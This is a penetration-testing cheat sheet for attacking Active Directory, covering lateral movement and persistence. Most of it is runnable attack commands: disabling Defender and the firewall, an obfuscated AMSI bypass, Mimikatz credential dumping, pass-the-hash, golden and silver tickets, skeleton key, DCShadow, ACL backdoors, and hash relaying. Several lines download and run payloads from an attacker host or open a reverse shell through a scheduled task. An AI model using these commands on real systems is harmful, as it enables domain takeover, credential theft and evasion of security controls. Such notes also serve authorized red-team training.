AD PenTest- Lateral Movement & Persistance

 

Bypassing JEA 

#View all the commands that we have access to 
get-command * 

#View the source code of the Commands/cmdlets
Get-Command -ShowCommandInfo -Name CmdLet_NAME
Get-Command -ShowCommandInfo -Name Get-ChildItem

#using SharpMapExec to bypass JEA or find interesting items
|.\SharpMapExec.exe ntlm winrm /user:USERNAME/password:"p@ssw0RD!" /domain:steins.local /computername:10.10.10.10

Note: ExpandString & Invoke-Expression might be vulnerable to command execution 

#Examples of Bypasing JEA 
get-something -command 'Hello $([void] (Get-Item C:\))'
get-something -command '$(""; ipconfig)'

#If Full language mode is enabled   
function test() {whoami};test

#Bypassing JEA if start-Process is accessible 
Enter-PSSession -ComputerName <Name> -ConfigurationName <Name>
Start-Process cmd.exe revshell.exe 

Powershell Remote Access 

Enable-PSRemoting  #uses TCP - Port 5985, 5986 for SSL.  

#Start a PS Session
Enter-PSSession -ComputerName kurisu.steins.local

#after logging into the session, store the process
$proc=Get-Process

#To login to the previous session,
$proc 

#Start a new session & saves the session
$sess = New-PSSession -ComputerName kurisu.steins.local	

#check the session 
$sess 	

#login to the prev session; as long as we do not kill it 
Enter-PSSession	-Session $sess		
 
or 

$SecPassword = ConvertTo-SecureString 'PASSWORD@!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('Steins.local\Bhanu_Admin', $SecPassword)

$s = New-PSSession -Credential $Cred 
Enter-PSSession -Session $s

or 
#login with the connection URL 
Enter-PSSession -ConnectionUri http://10.10.10.10:5985/wsman -Credential $cred

#Add a machine to TrustedHosts
net start winrm
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10"


#logging into a server 
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.1"
$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('steins.local\USER', $SecPassword)
$sess=New-PSSession -ComputerName  192.168.1.1 -Credential  $Cred  -Authentication Negotiate
Enter-PSSession -Session $sess

#Copying files to a logged in session using powershell 
Copy-Item -ToSession $Sess -path C:\mimikatz.exe -Destination c:\temp

One-to-Many - PSSession:
=============================
- Executes commands parallely
- non-interactive
- Invoke-Command		#cmdlet used to implent one to many 
- can run scripts
- can use -Credential parameter to pass alternate creds

#Execute Scripts on a different machine: 
Invoke-Command -ComputerName CruelSun  -ScriptBlock{whoami;hostnane}

#Execute Scripts on a list of severs
Invoke-Command -ComputerName (Get-Content servers.txt) -ScriptBlock{whoami;hostnane}


#Run a file/command from a specific location 
Invoke-Command -ComputerName CruelSun -Filepath C:\downloads\powerup.ps1

#If powershell is running in constraint language mode, we cannot run some cmdlets,etc..cannot use .Net classes as well. if the server is running with constrained lang mode, we cannot run .net classes and some other suspicious functions

#if you are unable to run the script - check the language: 
Invoke-Command -ComputerName (Get-Content servers.txt) -ScriptBlock{$ExecutionContext.SessionState.LanguageMode}


#Run local function on a remote machine: 
Invoke-Command -ComputerName CruelSun -ScriptBlock ${function:Get-ADTrust -Identity steins.local}

Invoke-Command -Filepath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content servers.txt)

Invoke-Command -ComputerName CruelSun -ScriptBlock ${function:Get-PassHashes} - ComputerName (Get-Content servers.txt )


#Run local script on a session:
#Run powerview.ps1 into the memory of the session
Invoke-Command -Filepath C:\downloads\powerup.ps1 -Session $sess

#powerup.ps1 functions will be loaded on the target session, so, we can run it directly
Enter-PSSession -Session $sess			


Execute Stateful commands using Invoke-Command:

$sess = New-PSSession -ComputerName CruelSun
Invoke-Command -Session $sess  -ScriptBlock {$Proc = Get-Process}
Invoke-Command -Session $sess  -ScriptBlock {$Proc.Name}

Disable AV on a Target Machine and upload a file 

#Create a session
$sess = New-PSsession -ComputerName Server1

#Disable AV and Firewall
Invoke-Command -ScriptBlock{Set-MpPreference -DisableRealtimeMonitoring $true} -Session $sess
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-Command -ScriptBlock{netsh advfirewall set allprofiles state off} -Session $sess

#upload a file 
Invoke-Command -Sessoion $sess -FilePath C:\Invoke-Mimikatz.ps1 

#login to the session
Enter-PSsession $sess

#Bypass AMSI
SET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Converting Plain Text into RC4/NTLM hash

python
>>> import hashlib
>>> print(hashlib.new('md4', 'Password123'.encode('utf-16le')).hexdigest())
8828530d622ef2cac9f91ec614f7ca79 

OverPass The Hash 

mimikatz.exe
sekurlsa::pth /user:USERNAME /domain:steins.local /rc4:58a478135a93ac3bf058a5e354fdb71 /run:powershell.exe

#Run commands as the user that used for PTH
Invoke-Command -ComputerName Server1.steins.local -ScriptBlock{whoami; whoami /groups; hostname}

#Create a session
$sess = New-PSsession -ComputerName Server1

#Disable AV and Firewall
Invoke-Command -ScriptBlock{Set-MpPreference -DisableRealtimeMonitoring $true} -Session $sess
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-Command -ScriptBlock{netsh advfirewall set allprofiles state off} -Session $sess

#login to the session
Enter-PSsession $sess

#Dump Creds from the target machine
IEX(New-Object Net.WebClient).downloadString('http://KALI_IP:8000/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

Pass the Ticket

Mimikatz

#Tickets are exported to present working directory
mimikatz.exe
#Download all the tickets
sekurlsa::tickets /export    
kerberos::ptt ticket.kerbi

or 

invoke-module .\Invoke-Mimikatz.ps1
invoke-mimikatz -Command '"Mimikatz::debug" "sekurlsa:;tickets /export" "exit"'
invoke-mimikatz -Command '"Mimikatz::debug" "kerberos::ptt ticket.kerbi" "exit"'

#list the available tickets
klist

Rubeus 

#Triage the available tickets 
.\Rubeus.exe triage

#display all the available tickets, copy the base64 ticket and remove all spaces and save it as .kirbo file. it can be used to ptt
.\Rubeus.exe dump

#pass a ticket 
.\Rubeus.exe ptt /ticket:BASE64_KERBEROS_TICKET.kirbi

#Kerberoast
.\Rubeus.exe kerberoast /domain:steins.local /user:User1 /format:hashcat /outfile:hash.txt

#AskTGT
 Rubeus.exe asktgt /user:server$ /enctype:RC4 /rc4:da71cba0f3b7a64d4318bd52c5ed4237 /domain:steins.local /dc:dc.steins.local /ptt 

#Impersonate as a user 
Rubeus.exe s4u /ticket:srv1_tgt /impersonateuser:Administrator /outfile:TGS_administrator

#Create TGS and import into memory 
Rubeus.exe  s4u /impersonateuser:administrator /self /ptt /dc:dc.steins.local /ticket:srv_tgt /altservice:cifs/srv.steins.local /domain:steins.local

Mimikatz:

#Dump Credentials on a local machine using Mimikatz
Invoke-Mimikatz -DumpCreds

#Dump creds of a target machine/ DC creds: 
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName steinsDC.steins.local

#Dump Creds on Multiple Remote Machines: 
Invoke-Mimikatz -DumpCreds -ComputerName @("ststem1.steins.local","system2.steins.local")


#Over Pass the hash - Generate Tokens from Hashes: Writing to lsass.exe
Invoke-Mimikatz -Command '"sekurlsa:pth /user:Administrator /domain:steins.local /ntlm:<NTLM_HASH> /run:powershell.exe"'

sekurlsa::pth /user:Username /domain:steins.local /rc4:97179aeefd6f3a6d329c37184fc639af

Abusing PrinterBug

#find machines with unconstrained Delegation enabled 
Get-ADComputer -Filter {TrustedForDelegation -ewq $True}

#Compromise and login to the machine with unconstrained Delegation  enabled 
Invoke-Mimikatz -Command '"sekurlsa::pth /user:USERNAME /domain:steins.local /rc4:58a478135a93ac3bf058a5e354fdb71 /run:powershell.exe"'

#Run SampleSpool.exe on the unconstrianed degelation enabled machine
SpoolSample.exe TARGET_DOMAIN_FQDN UNCONSTRAINED_DOMAIN_FQDN

OR 

proxychains python3 printerbug.py steins.local/guest@192.168.1.1 KALI_IP -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0'

sudo proxychains ntlmrelayx.py -t smb://192.168.1.1 -smb2support

#Relay attacks - Capturing SMB hashes 

Import-Module .\Inveigh.ps1

#Start collecting hashes, we will see hashes whenever a user tries to access something non-existant via SMB
Invoke-Inveigh -ConsoleOutput Y

#cracking the hashes captured from inveigh
hashcat -m 5600 hash rockyou.txt --force -r  /usr/share/hashcat/rules/d3ad0ne.rule

Abusing ADIDNS 

Import-module .\Invoke-DNSUpdate.ps1
Powershell Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.21.10 -Verbose

Import-module .\Powermad.ps1
PowerShell New-ADIDNSNode -Node * -Tombstone -Verbose
Powershell Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose

#Capture all the users hashes 
Import-module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -adidns combo  
Invoke-Inveigh -ConsoleOutput Y -DNS Y

#Relaying the hashes for command execution
Import-module .\InveighRelay.ps1
invoke-inveighrelay -ConsoleOutput Y -Target 192.168.2.1 -ShowHelp N -StatusOutput N -Command  "powershell.exe -c iex(new-object system.net.webclient).downloadstring('http://10.10.10.10:/rev.ps1')"

DCSync Attack 

- Usually Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default

Import-Module ./Powerview.ps1 

#Select the domain to attack 
Get-ForestGlobalCatalog

#Get the object ACL matching ObjectAceType = DS-Replication for the pentesting.local forest & check if any of the user to whom we have acess to has dcsync privs
Get-ObjectACL "DC=steins,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -like 'DS-Replication*')


#Run Mimikatz as Domain Admin and run below command
mimikatz.exe
lsadump::dcsync /domain:steins.local /all /csv

or 

Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt"' 


#use DCSync feature to get krbtgt hash from any machine(Need DA privs):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN_NAME\krbtgt"'

#Downloading DC Hashes without logging as Domain Admin: this command should be run as admin, modifying acl
Set-ADACL -DistinguishedName 'DC=steins,DC=steins,DC=local' -Principal USERNAME -GUIDRight DCSync -Verbose

# Running as a low priv user   
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins\krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins\Administrator"'

Exploiting WriteDacl - DCSync

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync


Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain

lsadump::dcsync /domain:testlab.local /user:Administrator

or 

secretsdump.py username:password@10.10.10.10

or 
aclpwn -f username -t steins.local --domain steins.local --server 10.10.10.10

Golden Ticket Attack - Maintaining Persistence


in the 3rd step of Kerberos, the only validation is the DC decrypts the TGT from the client, if TGT is decrypted --> allow access or else nope.  

if we have krbtgt hash, we can present or force any TGT which when we present to KDC the only validation would be the KDC can decrypt or not.  Need to be a domain admin to perform this attack. 

1) Gain Krbtgt hash from DC (step 3 of kerberos)

2) Impersonate as any user in the domain
 
- Golden ticket is a signed and encrypted by the hash of krbtgt account which makes its a valid tgt ticket
- Since user validation is not done by DC (KDC service) until tgt is older than 20 mins, we can use even deleted/revoked accounts.
- the krbtgt user hash could be used to impersonate any user with any privileges from even a non-domain machine
- single password change has no effect on this attack

#Execute Mimikatz on DC as domain admin to get krbtgt hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc.steins.local

OR 

#use DCSync feature to get krbtgt hash from any machine(Need DA privs)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN_NAME\krbtgt"'

#create a golden ticket; for SID - do not add the last 3 digits, it should be added in ID
Invoke-Mimikatz -Command: '"kerberos::golden /User:AnyName /domain=steins.local /sid:S-1-5-21-310201014-2950945941-1969162530 /krbtgt:3fb36f90ad0b20822d7cca4b973e9d14 /id:500 /groups:512 /startoffset:0 /ending:600 /renewmax:10080 /ptt"'
    
--> run powershell as Admin & Disbale Defender : Set-MpPreference -DisableRealtimeMonitoring $true


Golden Ticket attack Tutorial- Maintaining Persistance & Exploiting a Target: 

#Turn off windows defender, need to run as admin
Set-MpPreference -DisableRealtimeMonitoring $true


#login as domain administrator or other user who has admin privs &  New Target session starts
Invoke-Mimikatz -Command '"sekurlsa:pth /user:Administrator /domain:steins.local /ntlm:<NTLM_HASH> /run:powershell.exe"'	

#Log into domain controller and save the session
$sess = New-PSSession -ComputerName dc.steins.local

#User AV Bypass here and load mimikatz on the target machine 
Invoke-Command -Filepath C:\downloads\Invoke-Mimikatz.ps1 -Session $sess

#Start the session 
Enter-PSSession -Session $sess	

#Execute Mimikatz on DC as domain admin to get krbtgt hash; copy the krbtgt hash
Invoke-Mimikatz -Command  '"lsadump::lsa /patch''

#or run DCSync as Domain Admin to get krbtgt hash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt"' 

#create a golden ticket;
# id:500 - optional RID (default 500) and Group Default 513 512 520 518 219
# /ptt = injects the tickets onthe disk /ticket = saves the ticket to a file for later use
#sid = SID of the domain 
#startoffset:0 - optional; 0=start from the ticket creation, negative value creates a ticket from past 
#ending:600; 600/60mins = 10 hours. its not a good idea to set it for longer duration, EDR can detect it. mimikatz by default set it to 10 years - which can raise a flag for detection.
#renewmax:10080; optional - mimikatz default is 10 years. AD default is 7 days = 100800 minutes

Invoke-Mimikatz -Command: '"kerberos::golden /User:AnyName /domain=somedomian.local /sid:S-1-5-21-310201014-2950945941-1969162530 /krbtgt:3fb36f90ad0b20822d7cca4b973e9d14 /id:500 /groups:512 /startoffset:0 /ending:600 /renewmax:10080 /ptt"'

#View cached tickets
klist		

Silver Ticket Attack: - Maintaining Persistence

Absuing Step 5 from Kerberos : Client sends the TGS to application server: application server decrypts it and decides on authorization of the clinet.

extracting the NTLM hash of the service account, then access the service as any user is silver ticket attack.

- a Valid TGS 
- Encrypted and signed by the NTLM hash of the srevice account (Golden ticket is signed by hash of krbtgt) of the service ruunning with that account 
- Services rarely check PAC (Privilege Attribute Certificate)
- Services will allow access only to the services themselves
- Reasonable Persisrence period (Defauly 30days for computer accounts)

#Get NTLM hash of the service 
#Execute Mimikatz on target machine as domain admin to get service account hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' 

or 
#download the hashes from DC 
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dc.steins.local

#Silver ticket attack 
#target - target server FQDN; service: SPN name of service for which TGS is to be created ex: cifs(file system)
#rc4 - hash of the service account 

Invoke-Mimikatz -Command: '"kerberos::golden /domain=steins.local /sid:S-1-5-21-310201014-2950945941-1969162530 /target:service2.steins.local /service:cifs /rc4:<NTLM_HASH> /User:Administrator /ptt"'

klist 

ls \\steindsdc.steins.local\c$

  
Command Execution by Scheduling a Task:
------------------------------------------- Silver ticket attack

Invoke-Mimikatz -Command: '"kerberos::golden /domain=steins.local /sid:S-1-5-21-310201014-2950945941-1969162530 /target:steinsdc.steins.local /service:HOST /rc4:<NTLM_HASH> /User:Administrator /ptt"'

klist		#check available tokens

#start a http server and edit PowershellTCP.ps1, add below line at the end of file
Invoke-PowerShellTcp -Reverse -IPAddress Attacker_IP PORT

schtasks.exe /create /s steindsdc.steins.local /SC Weekely /RU "NT AUTHORITY\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString("http://10.10.10.10/Invoke-PowershellTCP.ps1")'"

#Run the task:
schtasks /Run /S steinsDC.steins.local /TN "STCheck"

#Get shell on the listener 
rlwrap nc -nvlp 443 

Skeleton Key- Maintaining Persistence 

- Skeleton key is a persistence technique where it is possible to patch a domain controller (lsass process) so that it allows access as any user with a single password.

- Not ALL DC's are affected, only the machines which authenticate to DC's to which we applied this patch would work 

#Inject a skeletion key - use any username but the password is mimikatz
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeletion"' -ComputerName SteinsDC.steins.local

#Now you can login into any computer with a valid username and password as "mimikatz"
Enter-PSSession -ComputerName steinsdc.steins.local -Credential steins\Administrator


In case Lsass is running as Protected Process:
----------------------------------------------- we can still use Skeleton Key but it needs mimikatz driver (mimidriv.sys) on disk of the DC. might be detected

Commands:
privilege:debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
!- 

Domain Controller DSRM - Maintaining Persistence 

#disable AV on the target machine 
$sess = New-PSSession - ComputerName dc.steins.local
Invoke-Command -ScriptBlock{Set-MpPreference -DisableRealtimeMonitoring $true } -Session $sess
Invoke-Command -Session $sess -FilePath c:\Invoke-mimikatz.exe 

#Dump DSRM Password: Extracting hashes from SAM hive; Administrator password is the DSRM password
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername steinsdc.steins.local

#Dump Hashes using Mimikatz: DSRM Account = Local Administrator, find Administrator hash in the dump
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername steinsdc.steins.local

- we cannot directly use PTH for DSRM account, logon type needs to be changed before using the DSRM hash.

Enter-PSSession -ComputerName stendc.steins.local
New-ItenProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertType DWORD

or 

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2

#to view the DSRM Property
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"

#use DSRM hash to login as Administrator on Domain Controller. use Domain Controller Hostname for domain
Invoke-Mimikatz -Command '"sekurlsa:pth /user:Administrator /domain:steinsDC.steins.local /ntlm:<DSRM_NTLM_HASH> /run:powershell.exe"'

ls \steinsDC.steins.local\c$

DCShadow Attack

- DCShadow temporarily registers a new domain controller in the target domain and uses it to "push" attributes like SIDHistory,SPNs etc on specified objects without leaving the change logs for modified object. 
- The new domain controlle is registered by modifying the configuration container, SPNs of an existing computer object and couple of RPC services. 
- Because of attributes are changed from a "domain controller", there are no directory change logs on the actual DC for the target object. 
- By default, DA privileges are required to use DCShadow. 
- Attacker machine must be part of the root domain
- There are no events created for this attack

#Run cmd as system 
psexec.exe -s -i cmd.exe 
 
#run mimikatz on 2 terminals. server starts and waits for a push.. we nee to push it from another mimikatz terminal
mimikatz.exe
!+
!processtoken 
lsadump::dcshadow /object:Domain_admin /attribute:Description /Value="DCShadow Attack testing" 

#on 2nd shell of mimikatz (required DA privs) push the values 
mimikatz.exe

#escalate privs as DA - impersonate as administrator, if you are already not running the shell as domain admin. 
sekurlsa::pth /user:Administrator /domain:Steins.local /ntlm: NTLM_HASH /impersonate

#View the privileges 
token::whoami 

#push the settings.. 
lsadump::dcshadow /push

---------------------------------------------------------------

Abusing SID using DCShadow attack 

add SIDHistory to a user account to give permissions of the group, ex: Enterprise Admins - through which we can run DCSync Attack 

#Copy the SID of the group; Enterprise Admins SID ends with 519 always
Get-ADGroup -SamAccountName "Enterprise Admins"

#run mimikatz as system., adding a user to Enterprise Admins Group
lsadump::dcshadow /object:Username /attribute:SIDHistory /value:S-1-5-21-1070240333-336889418-1185445934-519

#Open MImikatz on new terminal with Domain Admin Privileges..
lsadump::dcshadow /push

---------------------------------------------------------------

Changing the hash of an Account using DCShadow

#run mimikatz as system.
lsadump::dcshadow /object:UserName /attribute:unicodePwd /value:00000000000000000000000000000000

#Open MImikatz on new terminal with Domain Admin Privileges..
lsadump::dcshadow /push

DCShadow Attack - without running mimikatz as DA

Modifying premissions for DCShadow with Nishang this way we need not run mimikatz as domain admin 

#Run Set-DCShadowPermissions from nishang for setting the permissions as Admin
Set-DCShadowPermissions -FakeDC newDC -SAMAccoountName rootuser -Username newdc_shadow -Verbose

#push the settings.. 
mimikatz.exe
lsadump::dcshadow /push


#Modify SID history and provide Domain Admin privs 
lsadump::dcshadow /object:USERNAME /attribute:SIDHistory /Value:SID_ID

#to run above command with domain admin privs
Set-DCShadowPermissions -FakeDC newDC -SAMAccoountName rootuser -Username USERNAME -Verbose

#Set PrimaryGroupID of a user account to Enterprise Admins or Domain Admins group 
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519


#Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user 
#Get the ACL Of a user 
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=system,DC=steins,DC=local")).psbase.ObjectSecurity.sddl

#Modify the ACL 
lsadump::dcshadow /object:CN=AdminSDHolder,CN=system,DC=steins,DC=local /attribute:ntSecurityDescriptor /Value:MODIFIED_ACL(full_priv ACL;;;SID)
lsadump::dcshadow /push 

Abusing AdminSDHolder - Maintaining Persistance 

AdminSDHolder overwrites some important groups (Domain admins, backup groups etc..) with the permissions/ACL's of the AdminSDholder group. if we abuse AdminSDHolder itself, we can maintain persistance. 

Need to run as Domain Admin add full control permissions for a user to the AdminSDHolder. Go to Active directory users and computers --> system --> AdminSDHolder group --> security --> add --> any user --> select all; full control --. okay. the user gets permission to access everything that domain admins can access without being in domains admins group.


#PowerView - Adding ACL for a user into AdminSDHolder
Add-DomainObjectAcl -TargetADSprefix 'CN=AdminSDHolder, CN=System' -PrincipalSamAccountName USER_NAME -Rights All -Verbose

#AD Module - Adding ACL for a user into AdminSDHolder
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=steins.local,DC=Steinsl.local,DC=local' -Principal Machine_NAME -Verbose

#AdminSDHolder Changes takes place every 60 mins or so, we can force it using Invoke-SDPropagator

#Run Invoke-SDPropagator to apply settings to all the groups in it.
Invoke-SDPropagator -showProgress -timeoutMinutes 1

#Read the ACL's in Domain Admins group 
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'USER_NAME'}



Abusing Permissions

#now we have control over domain admins group; lets add a new member
Add-ADGroupMember -Identity 'Domain Admins' -Members testaccount
#Powerview - add a user to domain admins 
Add-DomainGroupMember -Identity 'Domain Admins' -Members testaccount -Verbose 

#Abusing ResetPassword using AD Module:
Set-ADAccountPassword -Identity testaccount -NewPassword (ConvertToSecureString "Password@123" -AsPlainText -Force) -Verbose
#Abusing ResetPassword using Powerview:
Set-DomainUserPassword -Identity testaccount -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

#Downloading DC Hashes without logging as Domain Admin: this command should be run as admin, modifying acl
Set-ADACL -DistinguishedName 'DC=steins,DC=steins,DC=local' -Principal USERNAME -GUIDRight DCSync -Verbose

# Running as a low priv user   
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins\krbtgt"'

Abusing ACLs - Security Descriptors - Maintaning Persistnace

Execute commands as DC by running the script. it is possible to modify security descriptors - security info like owner, primary group,dacl and sacl of multiple remote access methods to allow access to non-admin users. 
- Admin privs are requuired for this

Download the Script -- https://raw.githubusercontent.com/samratashok/nishang/master/Backdoors/Set-RemoteWMI.ps1

#Import the module as domain admin and assign permission to the namespace
Set-RemoteWMI -UserName USER_NAME -ComputerName steinsDC.steins.local -namespace 'root\cimv2' -Verbose

Now you can run commands with domain admin privs: even without being a domain admin; you can only run wmi commands, you can not get a shell or execute othe commands

get-wmiobject -class win32_operatingsyste m -ComputerName steinsdc.steins.local


To Remove:
----------
Set-RemoteWMI -UserName studentadmin -ComputerName steinsDC.steins.local -namespace 'root\cimv2' -Verbose-Remove

Command Execution privs on DC:
---------------------------------
https://raw.githubusercontent.com/samratashok/nishang/master/Backdoors/Set-RemotePSRemoting.ps1

#Run PS-Remoting to get command execution. 
Set-RemotePSRemoting -Username studnetadmin -ComputerName steindsdc.steins.local -verbose

now you can run commands as Domain admin: even without domain admin privs - giving yourself permissions

#Test Command Execution
Invoke-Command -ScriptBlock{whoami} -ComputerName steinsdc.steins.local

Abusing ACLs - DACL Exploitation - Maintaning Persistnace

The Discretionary ACL Modification Project: Persistence Through Host-based Security Descriptor Modification.

Download DAMP From https://github.com/HarmJ0y/DAMP

#Using DAMP, with admin privs on remote machine 
Add-RemoteRegBackdoor -ComputerName Steinsdc.steins.local -Trustee TEST_USER -Verbose 

#as TEST_USER, retrieve machine account hash, this can be used to create a similar ticket to access other service.. Silver ticket 
Get-RemoteMachineAccountHash -ComputerName Steinsdc.steins.local -Verbose

#Retreive Local Account Hash of any local account 
Get-RemoteLocalAccountHash -ComputerName Steinsdc.steins.local -Verbose 

#Retrieve Domain cached Credentials 
Get-RemoteCachedCredential -ComputerName Steinsdc.steins.local -Verbose

Change User's Password in AD


$UserName = "VICTIM_Username"
$UserPassword = ConvertTo-SecureString 'P@$$W0rd' -AsPlainText -Force
$Domain = "DOMAIN_name"

$SecPassword = ConvertTo-SecureString 'ADMIN_PASSWORD' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('Domain\Admin_Username', $SecPassword)

$ContextArguments = @{ 'Identity' = $UserName }
$ContextArguments['Domain'] = $Domain 
$ContextArguments['Credential'] = $Cred
$Context = Get-PrincipalContext @ContextArguments

$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $UserName)
if ($User) {
    Write-Verbose "Found user '$UserName'"
    try {
        $TempCred = New-Object System.Management.Automation.PSCredential('a', $UserPassword)
        $User.SetPassword($TempCred.GetNetworkCredential().Password)
        $User.Enabled = $True
        $Null = $User.Save()
        Write-Verbose "Password for user '$UserName' successfully reset"
    }
    catch {
        Write-Warning "Error setting password for user '$UserName' : $_"
    }
}
else {
    Write-Warning "Unable to find user '$UserName'"
}

Un-Constrained Delegation

Ignore Domain controllers as in the unconstrained delegation enabled machines

#Find systems with UnConstrained Delegation 
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Get-NetComputer -UnConstrained

#Get the hashes of the Unconstrained_user to login as the user. 

#start powershell cmd 
Invoke-Mimikatz -Command '"sekurlsa:pth /user:Unconstrained_user /domain:steins.local /ntlm:<NTLM_HASH> /run:powershell.exe"'

#check if this user has local admin access on any machines 
.\powerview.ps1
Find-LocalAdminAccess 

#Login to the machine on which unconstrained-account has local admin access 

$sess = New-PSSession -ComputerName unconstained_machine.steins.local 

#Bypass AMSI 
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

#Run Mimikatz on the target
Invoke-Command -FilePath C:\downloads\Invoke-Mimikatz.ps1 -Session $sess 

#Downloads all the tickets from the lsass and saves them on the disk 
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#use the downloaded ticket and dump it into the memory to access other stuff 
Invoke-Mimikatz -Command '"kerberos::ppt" KIRBI_TICKET_Path'

Resource Based Constrained Delegation - Lateral Movement

#Import Powermad powershell module 
Import-Module .\Powermad.psd1

#adding a machine object, normal domain user can add upto 10 machines to the domain by default. 
New-MachineAccount -Domain steins.local -DomainController 192.168.2.1 -MachineAccount might$ -Password (ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force) -Verbose

#find a machine to which we have write permission using ACL Scanner/bloodhound 

#Adding a role based constrained delegation on Server1. if we have write permission to 'might' machine account, we can access Sever1 as any user in the domain 
Set-ADComputer Server1 -PrincipalsAllowedToDelegateToAccount might -Verbose

#view the permission that we set now 
Get-ADComputer server -Server Server1.steins.local -Properties name,msDS-AllowedToActOnBehalfOfOtherIdentity,Principalsallowedtodelegatetoaccount,msds-allowedtodelegateto,trustedtoauthfordelegation  

#Inject the ticket 
.\Rubeus.exe s4u /user:might$ /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /domain:steins.local /msdsspn:cifs/server1.steins.local /impersonateuser:Administrator /dc:dc.steins.local /ptt

#access the target machine 
Enter-PSSession -ComputerName server1.steins.local


RBCD Persistance 

-If we have DA permissions, we can use the RACE toolkit (https://github.com/samratashok/RACE ) to modify  permissions of a computer object and use it later

#Sets RBCS on Server1 - and assign write permissions to server1 using the UserName
Set-DCPermissions -Method RBCD -DistinguishedName 'CN=server1,DC=steins,DC=local' -SAMAccountName USERNAME Verbose

#run on attaker machine to allow delegation for 'attacker' machine account 
Set-ADComputer -Identify Server1 -PrincipalsAllowedToDelegateToAccount might$ -Verbose

#Inject the ticket 
.\Rubeus.exe s4u /user:might$ /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /domain:steins.local /msdsspn:cifs/server1.steins.local /impersonateuser:Administrator /dc:dc.steins.local /ptt

Resource Based Constrained Delegation on MSSQL Server 

#Add a DNS Record using 
Invoke-DNSUpdate -DNSType A -DNSName might -DNSData KALI_IP -Realm Steins.local

#Login to the MSSQL Server and run xpdritree on the dnsname u just created
SQLCMD -S SERVER04\RE7_MS -Q "exec master.dbo.xp_dirtree '\\might@80\a'" -U Admin -P Admin

#on your Kali box, run rbcd_relay.py
